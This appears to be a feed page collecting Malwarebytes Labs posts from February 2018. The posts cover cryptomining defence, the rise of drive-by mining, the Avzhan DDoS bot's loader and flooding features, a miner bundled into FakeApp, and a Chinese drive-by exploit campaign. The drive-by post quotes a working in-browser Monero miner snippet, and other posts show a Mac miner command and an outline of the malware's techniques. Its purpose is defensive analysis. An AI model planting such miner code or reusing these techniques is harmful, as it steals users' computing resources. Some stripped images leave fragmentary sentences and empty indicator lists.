[00:51:09]: Drawing from outside influences for conference talks
[00:56:30]: New, unexpected horrors

I also recently gave a Q&A talk with The Many Hats Club, and once that session is online, I’ll add it to this post. For now, thanks in advance should you decide to tune in and have a listen to either recording!

The post Human Factor Podcast: Jenny Radcliffe and Chris Boyd appeared first on Malwarebytes Labs.

Categories: Techie Feeds

How to protect your computer from malicious cryptomining

Malwarebytes - Tue, 02/27/2018 - 17:30

Noticing that your computer is running slow? While sometimes a telltale sign of infection, these days that seems doubly true. And the reason is: malicious cryptomining. So, what, exactly, is it? We’ll tell you how bad this latest malware phenomenon is for you and your computer, plus what you can do about it.


Malicious cryptomining, also sometimes called drive-by mining, is when someone else is using your computer to mine cryptocurrency like Bitcoin or Monero. But instead of cashing in on your own computer’s horsepower, the collected coins go into the other person’s account and not yours. So, essentially, they are stealing your resources to make money.

Cryptomining can sometimes happen with consent, but unfortunately these occasions are rare. gave its site visitors the choice to view ads or let them mine your computer

 How bad is it?

If the duration of the cryptomining is not too prolonged and you are aware of what is going on, then it’s not that big a deal for regular computer users. When you are not aware of the mining activity—which is the majority of the time—it is a theft of resources. This is because cryptomining takes advantage of your computer’s Central Processing Unit (CPU) and Graphics Processing Unit (GPU), running it at higher capacities. Imagine revving your car engine or running your air conditioning while driving up a steep hill.

If cryptomining is too prolonged and running at, or near, the maximum of what your computer can handle, it can potentially slow down every other process, shorten the lifespan of your system, or ultimately brick your machine. And obviously, any malevolent threat actors want to keep using as many of your resources for as long as possible.

Finding the origin of the high CPU usage can be difficult. Processes might be hiding themselves or masking as something legitimate in order to hinder the user from stopping the abuse. And as a bonus to the cryptominers, when your computer is running at maximum capacity, it will run ultra slow, and therefore be harder to troubleshoot. Besides the theft and the slow, possibly damaged computer, being cryptomined could also make you more vulnerable to other malware by introducing additional vulnerabilities to your system, like in the case of the Claymore Miner.

Local or website?

When you notice high CPU usage and suspect it might be malicious cryptomining, it is important to know whether it’s being done in your browser or whether your computer itself is infected. So the first thing to do is to identify the process that is gobbling up your resources. Often using the Windows Taskmanager or MacOs’s  Activity Monitor is enough to identify the culprit. But, like in the example below, the process may have the same name as a legitimate Windows file.

In case of doubt about the legitimacy of the process, it is better to use Process Explorer, which allows you to see the parent process (what started the suspicious process) and the location of the file. In the same example as we used above, Process Explorer shows you the path is different from the legitimate Windows file and the parent process is strange.

And if you have the VirusTotal check enabled, you will see that the file itself and the parent are widely detected. (The Chrome detection 1/66 is a false positive by Cylance). Knowing this, you can stop the process to speed up your system and then start working on removing it.

Finding the offender, however, is harder when the process is a browser like in the example below.

Of course, you can simply kill the process and hope it stays away, but knowing which tab/site was responsible does provide you with information that can help you avoid it from happening again. Chrome has a nifty built-in tool to help you with that. It’s called the Chrome Task Manager. You can start it by clicking “More Tools” in the main menu and choosing “Task manager” there.

This Task Manager shows the CPU usage of the individual browser tabs and of the extensions, so if one of your extensions included a miner, this will show up in the list as well.

Note that the Chrome Task Manager sometimes shows over 100 CPU usage, so I’m not sure whether it’s a percentage.

An alternative method that can also be used in other browsers is to disable extensions and close tabs in reverse historical order. If disabling an extension does not help, it’s easy to re-enable it. And if closing a tab does not help, you can use the “Reopen last closed tab” option in browsers that have this option, such as Opera, Chrome, and Firefox.

Firefox’s reopen last closed tab is called “Undo Close Tab”

How to protect against cryptomining

Malwarebytes stops the installation of many bundlers and Trojans that drop cryptominers on your system. We also block the domains of the most abused scripts and mining pools.

Another option, if you don’t have Malwarebytes, is to block Javascript in the browser that you use to surf the web, but this could also block functionality that you like and need.

If you want more specialized blocking capabilities there are programs like “No Coin” and “MinerBlock” that block mining activities in popular browsers. Both have extensions for Chrome, Firefox, and Opera. Opera’s latest versions even have NoCoin built in.


Cryptomining can be done locally on the system or in the browser. Knowing the difference can help you remediate the problem, as both methods require different forms of protection. The solutions are almost as popular as the problem, so choose wisely, as there may be frauds out there trying to grab a portion of the market.

Related articles

How to stop websites from using your computer to mine Bitcoin (and more)

Salon offers readers choice between ads and mining Monero

Why is Malwarebytes blocking CoinHive?

Using the Chrome Task Manager to Find In-Browser Miners

The post How to protect your computer from malicious cryptomining appeared first on Malwarebytes Labs.

Categories: Techie Feeds

A week in security (February 19 – February 25)

Malwarebytes - Mon, 02/26/2018 - 17:36

Last week on Malwarebytes Labs, we gave readers a primer on encryption, took a stab at that Deepfakes tool Internet users seem to be interested in, and started a new series that talks about GDPR.

We also looked at a drive-by download campaign that starts in booby-trapped Chinese websites that drop malware via different exploits. This malware is a DDoS bot called Avzhan, which we then studied in detail.

Other news

Stay safe, everyone!

The post A week in security (February 19 – February 25) appeared first on Malwarebytes Labs.

Categories: Techie Feeds

The state of malicious cryptomining

Malwarebytes - Mon, 02/26/2018 - 16:08

While cryptocurrencies have been around for a long time and used for legitimate purposes, online criminals have certainly tarnished their reputation. Unfortunately, the same benefits offered by these decentralized and somewhat anonymous digital currencies were quickly abused to extort money, as was the case during the various ransomware outbreaks we’ve witnessed in the last few years.

As the value of cryptocurrencies—driven by the phenomenal rise of Bitcoin—has increased significantly, a new kind of threat has become mainstream, and some might say has even surpassed all other cybercrime. Indeed, cryptocurrency mining is such a lucrative business that malware creators and distributors the world over are drawn to it like moths to a flame. The emergence of a multitude of new cryptocurrencies that can be mined by average computers has also contributed to the widespread abuse we are witnessing.

Malwarebytes has been blocking coin miners with its multiple protection modules, including our real-time scanner and web protection technology. Ever since September 2017, malicious cryptomining has been our top detection overall.

Cryptomining malware

To maximize their profits, threat actors are leveraging the computing power of as many devices as they can. But first, they must find ways to deliver the malicious coin miners on a large enough scale.

While the Wannacry ransomware was highly publicized for taking advantage of the leaked EternalBlue and DoublePulsar exploits, at least two different groups used those same vulnerabilities to infect hundreds of thousands of Windows servers with a cryptocurrency miner, ultimately generating millions of dollars in revenue.

Figure 1: Worm scanning random IP addresses on port 445 

Other vulnerabilities, such as a flaw with Oracle’s WebLogic Server (CVE-2017-10271), were also used to deliver miners onto servers at universities and research institutions. While Oracle released a patch in October 2017, many did not apply it in a timely fashion, and a PoC only facilitated widespread abuse.

As it turns out, servers happen to be a favorite among criminals because they offer the most horsepower, or to use the proper term, the highest hash rate to crunch through and solve the mathematical operations required by cryptomining. In recent times, we saw individuals who, against their better judgement, took this to the next level by using supercomputers in various critical infrastructure environments.

Spam and exploit kits campaigns

Even malware authors have caught the cryptocurrency bug. Existing malware families like Trickbot, distributed via malicious spam attachments, temporarily added in a coin miner module.

Interestingly, the Trickbot authors had already expanded their banking Trojan to steal credentials from Coinbase users as they logged into their electronic wallet. The modular nature of their malware is certainly making it easier for them to experiment with new schemes to make money.

Figure 2: Document containing macro that downloads the TrickBot malware

Several exploit kits, and RIG EK in particular have been distributing miners, usually via the intermediary of the SmokeLoader malware. In fact, cryptominers are one of the most commonly served payloads in drive-by download attacks.

Figure 3: An iframe redirection to RIG EK followed by a noticeable coin miner infection

Mobile and Mac cryptominers

Mobile users are not immune to cryptomining either, as Trojanized apps laced with mining code are also commonplace, especially for the Android platform. Similarly to Windows malware, malicious APKs tend to have modules for specific functionalities, such as SMS spam and of course miners.

Figure 4: Source code for the mining component within an Android APK

Legitimate mining pools such as Minergate are often used by those Android miners, and the same is true for Mac cryptominers. The usual advice on sticking to official websites to download applications applies but is not always enough, especially when trusted applications get hacked.

~/Library/Apple/Dock -user -xmr

Figure 5: Malicious Mac application launching a Monero miner

Drive-by cryptomining

In mid-September 2017, a mysterious entity called Coinhive launched a new service that was about to create chaos on the web, as it introduced an API to mine the Monero currency directly within the browser.

While in-browser miners have taken off because of Coinhive’s popularity, they had already been tested a few years ago, mostly as proof-of-concepts that did not develop much further. There is, however, the legal precedent of a group of students at MIT who got sued by the state of New Jersey for their coin mining attempt—called Tidbit—proposed as an alternative to traditional display advertising.

No opt-in by default

Within weeks, the Coinhive API, void of any safeguards, was abused in drive-by cryptomining attacks. Similar to drive-by downloads, drive-by mining is an automated, silent, and platform agnostic technique that forces visitors to a website to mine for cryptocurrency.

We witnessed an interesting campaign that was specifically designed for Android and drew millions of users to pages that immediately started to mine for Monero under the pretense of recouping server costs. Even though mobile devices aren’t as powerful as desktops, let alone servers, this event showed that no one is immune to drive-by mining.

Figure 6: An in-browser miner for Chrome on Android

Malvertising was once again a major factor in spreading coin miners to a large audience, as we saw with the YouTube case that involved malicious ads via DoubleClick. Another interesting vector, which security people have warned about for years, is the use of third-party scripts that have become ubiquitous. A company called Texthelp had one of their plugins compromised and injected with a Coinhive script, leading to hundreds of government websites in the UK unwillingly participating in malicious cryptomining activity.

To fend off criticism, Coinhive introduced a new API (AuthedMine) that explicitly requires user input for any mining activity to be allowed. The idea was that considerate website owners would use this more “ethical” API instead, so that their visitors can knowingly opt-in or out before engaging in cryptomining. This was also an argument that Coinhive put forward to defend its stance against ad blockers and antivirus products.

While only Coinhive themselves would have accurate statistics, according to our own telemetry the opt-in version of their API was barely used (40K/day) in comparison to the silent one (3M/day), as pictured in the below histograms during the period of January 10 to February 6.

Figure 7: Usage statistics for the opt-in version of Coinhive

Figure 8: Usage statistics for the silent version of Coinhive

Moreover, even websites that do use the opt-in option may still be crippling machines by running an unthrottled miner, as was the case with popular American news website Salon[.]com.


Several copycats emerged in the wake of Coinhive’s immediate success. According to our stats, coin-have[.]com is the second most popular service, followed by crypto-loot[.]com. While Coinhive takes a 30 percent commission on all mining earnings, Coin Have advertises the lowest commission rates in the market at 20 percent, although CryptoLoot itself claims to pay out 88 percent of mined commissions.

In additions to bigger payouts, other “attractive” features pushed by newcomers are low payment thresholds and the ability to bypass ad blockers, which they often view as their number one threat.

Figure 9: Two of the most popular Coinhive copycats

Browsers and technologies abused

Contrary to malware-based coin miners, drive-by cryptomining does not require infecting a machine. This is both a strength and weakness in the sense that it can potentially reach a much wider audience but is also more ephemeral in nature.

For example, if a user navigates away from the website they are on or closes the offending tab, that will cause the mining activity to stop, which is a major drawback. However, we observed that some miners have developed sneaky ways of making drive-by mining persistent, thanks to the use of pop-unders, a practice well-known in the ad fraud business. To add insult to injury, the malicious pop-under tab containing the mining code would get placed right underneath the taskbar, rendering it virtually invisible to the end user. Thanks to this trick, the mining can carry on until the user actually restarts their computer.

Another way to mine for long and uninterrupted periods of time is by using a booby-trapped browser extension that will inject code in each web session. This is what happened to the Archive Poster extension because one of their developers had his Google account credentials compromised.

Figure 10: The compromised extension with a rogue JavaScript for Coinhive

It is worth noting that JavaScript is not the only way to mine for coins within the browser. Indeed, we have observed WebAssembly, a newer format available in modern browsers, being used more and more. WebAssembly modules have the advantage of running at near native speed, making them a lot faster and more efficient than JavaScript.

| payload =   - [ ExportSection     | count = 27     | entries =     - [ ExportEntry       | field_len = 9       | field_str = "stackSave"       | kind = 0x0       | index = 71     - [ ExportEntry       | field_len = 17       | field_str = "_cryptonight_hash"       | kind = 0x0       | index = 70

Figure 11: Code snippet from a WebAssembly module designed for mining Monero

While drive-by mining typically happens via the standard HTTP protocol—either via HTTP or HTTPS connections—we have witnessed more and more examples of miners communicating via WebSockets instead.

Figure 12: A Web Socket connection to Coinhive

A WebSocket is another communication protocol that allows streams of data to be exchanged. There is an initial handshake request and response with a remote server followed by the actual data streams. Coin mining code wrapped within a secure (wss) WebSocket is more difficult to identify and block.


As the threat landscape continues to evolve, its connections to real-world trends become more and more obvious. Malware authors are not only enjoying the relative anonymity provided by digital currencies but also want to amass them.

Cryptomining malware provides a good use case for leveraging the size and power of a botnet in order to perform CPU-intensive mining tasks without having to bear the costs incurred in the process. In some aspect, drive-by mining also applies the same concept, except that the botnet of web users it creates is mostly temporary.

While malicious cryptomining appears to be far less dangerous to the user than ransomware, its effects should not be undermined. Indeed, unmanaged miners could seriously disrupt business or infrastructure critical processes by overloading systems to the point where they become unresponsive and shut down. Under the disguise of a financially-motivated attack, this could be the perfect alibi for advanced threat actors.

Malwarebytes users, regardless of their platform, are protected against unwanted cryptomining, whether it is done via malware or the web.

The post The state of malicious cryptomining appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Avzhan DDoS bot dropped by Chinese drive-by attack

Malwarebytes - Fri, 02/23/2018 - 18:00

The Avzhan DDoS bot has been known since 2010, but recently we saw it in wild again, being dropped by a Chinese drive-by attack. In this post, we’ll take a deep dive into its functionality and compare the sample we captured with the one described in the past.

Analyzed sample Behavioral analysis Installation

After being deployed, the malware copies itself under a random name into a system folder, and then deletes the original sample:

Its way to achieve persistence is by registering itself as a Windows Service. Of course, this operation requires administrator rights, which means for successful installation, the sample must run elevated. There are no UAC bypass capabilities inside the bot, so it can only rely on some external droppers, using exploits or social engineering.

Example of added registry keys, related to registering a new service:

We find it also on the list of the installed services:

Network traffic

We can see that the bot connects to its CnC:

Looking at the network traffic, we see the beacon that is sent. It is in a binary format and contains information collected about the victim system:

The beacon is very similar to the one described in 2010 by Arbor Networks here. The server responds with a single NULL byte.

Apart from this, we also see traffic generated probably by DGA:

The bot queries repetitively for addresses in format 6{a-z}.com.

During the experiments, we didn’t capture traffic related to the typical DDoS activities performed by this bot. However, we can see such capabilities clearly in the code.

Inside the sample Stage 1: the loader

The sample is distributed in a packed form. The main sample’s original name is Cache.dat, and it exports one function: Ip.

Looking inside the Ip, we can easily read that it creates a variable, fills it with strings, and then returns it:

Those are the same parameters that we observed during the behavioral analysis. For example, we can see that the service name is “Nationalscm” and the referenced server, probably CnC is: (that resolves to: So, this is likely the function responsible for filling those parameters and passing them further.

The main function of this executable is obfuscated, and the flow of the code is hard to follow—it consists of small chunks of code connected by jumps, in between of which junk instructions are added:

However, just below the function Ip, we see another one that looks readable:

Looking at its features, we see that it is a good candidate for a function that actually unpacks and installs the payload in the following process:

  1. It takes some hardcoded buffer and processes it—that looks like de-obfuscating the payload.
  2. It searches a function “StartupService” in the export table of the unpacked payload—it gives us hint that the unpacked content is a PE file.
  3. Finally, it calls the found function within the payload.

We can confirm this by observing the execution under the debugger. After the decoding function was called, we see that indeed the buffer becomes a new PE file:

At this moment, we can dump the buffer, trim it, and analyze it separately. It turns out that this is the core of the bot, performing all of the malicious operations. The PE file is in the raw format, so no unmapping is needed. Further, the loader will allocate another area of memory and map there the payload into the Virtual Format so that it can be executed.

Anti-dumping tricks

This malware uses few tricks to evade automated dumpers. First of all, the payload that is loaded is not aligned to the beginning of the page:

If we dump it at this moment, we would also need to unmap it (i.e. by pe_unmapper) because this time it is in the Virtual Format. However, there are some unpleasant surprises: The relocation table and resources have been removed after use by the loader. This is why it is usually more reliable to dump the payload before it is mapped. However, some of the data inside the payload may be also filled on load. So if we don’t dump both versions, we may possibly miss some information.

In the version from 2010, the outer layer is missing. The malware is distributed via a single executable that is an equivalent of the payload unpacked from the current sample.

Stage 2: the core

By following the aforementioned steps, we obtain the core DLL, named Server.dll. We find that the core is pretty old—this hash was seen for the first time on VirusTotal more than a year ago. However, it was not described in detail at that time, so I think it is still worth analyzing.

The sample from 2010, in contrast, is not a DLL but a standalone EXE. Yet, looking at the strings and comparing both with the help of BinDiff, we can see striking similarities that prove that the core didn’t evolve much.

Execution flow

The execution starts in the exported function: StartupServer. At the beginning, the sample calls OutputDebugStringA with non-ascii content. What’s interesting is that the content is not random. The same bytes were used previously in the loader, just before executing the function within the payload. Yet, its purpose remains unknown.

It also tries to check if the current DLL has been loaded by the main module that exports a function “Ip.” If it is so, it calls it:

As we remember, the function with exactly this name was exported by the outer layer. It was supposed to retrieve the configuration of the bot, such as the CnC address and Windows Service name. After being retrieved, the data gets copied into the bot’s data section (the configuration gets hardcoded into the bot).

After that, the malware proceeds with its main functionality. We can see that the data that got retrieved and hardcoded is later being passed to the function installing the service:

Based on the presence of the corresponding registry keys, the malware distinguishes if this is its first run or if it had already been installed. Depending on this information, it can take alternative paths.

If the malware was not installed yet, it proceeds with the installation and exits afterward:

Otherwise, it runs its main service function:

The main service function is responsible for communication with the CnC. It deploys a thread that reads commands and deploys appropriate actions:


First the bot connects to the CnC and sends a beacon containing information gathered about the victim system:

The information gathered is detailed, containing processor features as well as the Internet speed. We saw this data being sent during the behavioral analysis.

After the successful beaconing, it deploys the main loop, where is listens for the commands from the CnC, parses them, and executes:

As we can see, the malware can act as a downloader—it can fetch and deploy a new executable from the link supplied by the CnC:

The CnC can also push an update of the main bot, as well as instruct the bot to fully remove itself.

But the most important capabilities lie in few different DDoS attacks that can be deployed remotely on any given target. The target address, as well as the attack ID, are supplied by the CnC.

Among the requests that are prepared for the attacks, we can see the familiar strings, whose purpose was already described in the report from 2010. We can see the malformed GET request:

As an alternative, it may use one of the valid GET requests, for example:

The flooding function is deployed in a new thread, and repeats the requests in a loop until the stop condition is enabled. Example:


This bot is pretty simple, prepared by an unsophisticated actor. Featurewise, it hasn’t changed much over years. The only additions were intended to obfuscate the malware and give an ability to add the configuration by the outer layer.

The post Avzhan DDoS bot dropped by Chinese drive-by attack appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Deepfakes FakeApp tool (briefly) includes cryptominer

Malwarebytes - Fri, 02/23/2018 - 17:20

A few weeks ago, we took a look at a forum dedicated to Deepfake clips where the site was pushing Coinhive mining scripts in the website’s HTML code.

As it turns out, there’s been another mining blow-out in the form of one of the apps used to make the fakes. That’s right—a tool designed to push CPU/GPU hard in order to create movie files also wanted you to push the GPU that much further and do a spot of mining in the background at the same time.

The developer of one of the most popular Deepfake movie makers, FakeApp (previously mentioned on Motherboard as a “user-friendly version” of the Deepfakes technology), decided to add an optional mining function into the latest release of their program. The reception to this was, to be fair, a complete disaster and it wasn’t long before said developer realised everything had gone a bit wrong and pulled the miner.

The majority of the posts online made about this range from lengthy rants to angry swearing to the occasional passing insult and a lot of “download the old version or use something else.” If you want to foster a complete sense of mistrust in your app then this is definitely the way to do it:

Click to enlarge

The Developer just announced he is removing the miner. I don’t know if that means you’ll have to wait for a new version or if it’s remotely disabled immediately.

According to the above poster, the mining free version was 100KB smaller than the previous file, so if you weighed in at 70.58MB you were fine, but if you tallied up at 70.68MB you might have wanted to abandon ship. Here’s a rather angry Reddit thread about it:

Click to enlarge

On another popular Deepfake forum, they’re specifically highlighting the two different versions:

Click to enlarge

Make sure you have the version without the cryptominer: Download from – (may have miner):
Download from – (no miner):

According to the Reddit post up above, the app only “mined when you were training” (training being the process of making the computer learn how to draw faces) so you “wouldn’t notice the extra load.” After the hostile reception to the mining, FakeApp v2.2 was taken down by the app developer after a day and re-uploaded sans miner:

Click to enlarge

The donation miner was introduced and removed in one day. The rest is totally clean as has been seen by everyone who’s used it. I’m not doing this to make money.

Regardless of the reasoning, it turns out people do not like miners on their computer—especially when they’re already entrusting a good chunk of heavy duty usage to the app developer as it is. No amount of experiments in funding will make up for this kind of damage limitation exercise:

Click to enlarge

I am not counting on anyone accidentally mining $0.004 cents for me, this is an oversight that has happened for every setting since release. I’m not playing “innocent and transparent” I am trying to help people like I have since the beginning. In fact, I am in the process of putting in code to specially turn it off permanently after people have requested [to turn off the miner].

Miners are a touchy enough subject without additional controversy over the mining function springing back to life every time you restart the program. Worse still, users felt there were also disclosure issues regarding the miner being onboard. In the below screenshot, the developer is having to point out they included a non-skippable disclaimer in the app changelog while admitting they forgot to add it to the changelog on the website:

Click to enlarge

Frankly, it’s all a bit of a mess in fake pornography movie land, and this developer is immediately reaping the whirlwind of “probably shouldn’t have gone with a miner after all.” As for what kind of mining was taking place, it was our old friend Coinhive—humorously, the exact type of mining we spotted being used on that Deepfake forum from a fortnight ago.

As for the developer, they’re left firefighting and posting apologetic rambles on Reddit:

Click to enlarge

I didn’t do it in an attempt to secretly make a profit of users using FakeApp—mining is neither secret nor profitable. I made an effort to be as upfront about it as I could possibly be, putting notices everywhere I could put them, and on the forum the reaction seemed to be mainly positive. Making a voluntary $10/week to help speed up development off willing donors is not a scam; this was a donation feature that many liked, many were politely uncomfortable with, and a handful seemed intent to read malicious intent into. I have been here since the beginning and anyone who knows my work knows I care about making this tool accessible not making a profit, and that’s why I’ve spent so much of my free time on it.

It is honestly surprising to me that, in the middle of news stories galore about mining being annoying, someone thought squeezing extra juice out of an already juice-squeezed PC for some digital coin generation couldn’t possibly go wrong. The Deepfakes industry has already branched out into multiple tools and programs, and there’s a fair bit of choice out there—one mistake is all it takes, and the fanbase developers have built up will quickly disappear.

One of the most well-known Deepfake programs around has (temporarily) succumbed to the lure of mining, and between this huge reputation blow to arguably the most popular DIY app out there, and the long list of supposed Deepfake sites pushing mining scripts and dubious adverts all over the place, it’s entirely possible that the fake pornography clip industry has started to show signs of a slow, relentless collapse into “We’re not really into this anymore.”

The post Deepfakes FakeApp tool (briefly) includes cryptominer appeared first on Malwarebytes Labs.

Categories: Techie Feeds

Drive-by download campaign targets Chinese websites, experiments with exploits

Malwarebytes - Thu, 02/22/2018 - 16:00

During our web crawls we sometimes come across bizarre findings or patterns we haven’t seen before. This was the case with a particular drive-by download attack planted on Chinese websites. While by no means advanced (it turned out to be fairly buggy), we witnessed a threat actor experimenting with several different exploits to drop malware.

For years we have cataloged thousands of Chinese websites injected with the same malicious and rudimentary VBScript code. Even to this day, you can find a countless number of sites that have been (or still are) compromised with that pattern, and most of them happen to be hosted in China.

The campaign we stumbled upon starts with sites that were compromised to load external content via scripts and iframe overlays. Although the browser’s address bar shows gusto-delivery[.]com, there are several injected layers that expose visitors to unwanted code and malware.

For instance, we find a reference to a Coinhive clone:

var miner = new ProjectPoi.User('LUdKfdXyeXp9sQZf1pphGOrY', 'john-doe', { threads: navigator.hardwareConcurrency, autoThreads: false, throttle: 0.2, forceASMJS: false }); miner.start();

We are unsure whether this is a pure ripoff (the website template is almost identical), but one is different from the other in that the Chinese version (hosted at ppoi[.]org) only takes a 10 percent commission as opposed to 30 percent for Coinhive.

也就是说,您将获得挖矿收益的90%,与矿池不同,这个收益是固定的,不论是否爆块您都将获得该笔收益 我们希望保留10%来补偿不爆块的损失,维持服务器的运行等 I.e. you get 90% of the average XMR we earn. Unlike a traditional mining pool, this rate is fixed, regardless of actual blocks found and the luck involved finding them. We keep 10% for us to operate this service and to (hopefully) turn a profit.

Finally, the most interesting aspect here is the redirection to a server hosting a few exploits as described in the diagram below:

On top of a late addition of the aforementioned VBScript similar to the ones found on other Chinese websites, we notice the inclusion of 3 exploits targeting older vulnerabilities in an ActiveX component, the Flash Player and Internet Explorer.


This old CVE is a vulnerability with the C6 Messenger ActiveX control. The threat actor reused the same code already published here and simply altered the DownloadUrl to point to their malicious binary. Users (unless their browser settings have been changed) will be presented with a prompt asking them to install this piece of malware.


This is a Flash Player vulnerability affecting Flash up to version, which was again lifted from a proof of concept. Its implementation in this particular drive-by is somewhat unstable though and may cause the browser to crash.


Finally a more interesting CVE, the well-known Internet Explorer God Mode, although for some unexplained reason, the code was commented out.

The final payload dropped in this campaign is a DDoS bot, which we will cover in another blog post.


Although we see the use of several exploits, we cannot call this an exploit kit—not even an amateur one. Indeed, the domain serving the exploits appears to be static and the URIs are always the same.

Regardless, it does not prevent threat actors from arranging drive-by attacks by copying and pasting various pieces of code they can find here and there. While not very effective, they may still be able to compromise some legacy systems or machines that have not been patched.

Indicators of compromise

Malicious redirection

vip.rm028[].cn by007[.]cn

Exploit domain and IP







The post Drive-by download campaign targets Chinese websites, experiments with exploits appeared first on Malwarebytes Labs.

Categories: Techie Feeds


Subscribe to Furiously Eclectic People aggregator - Techie Feeds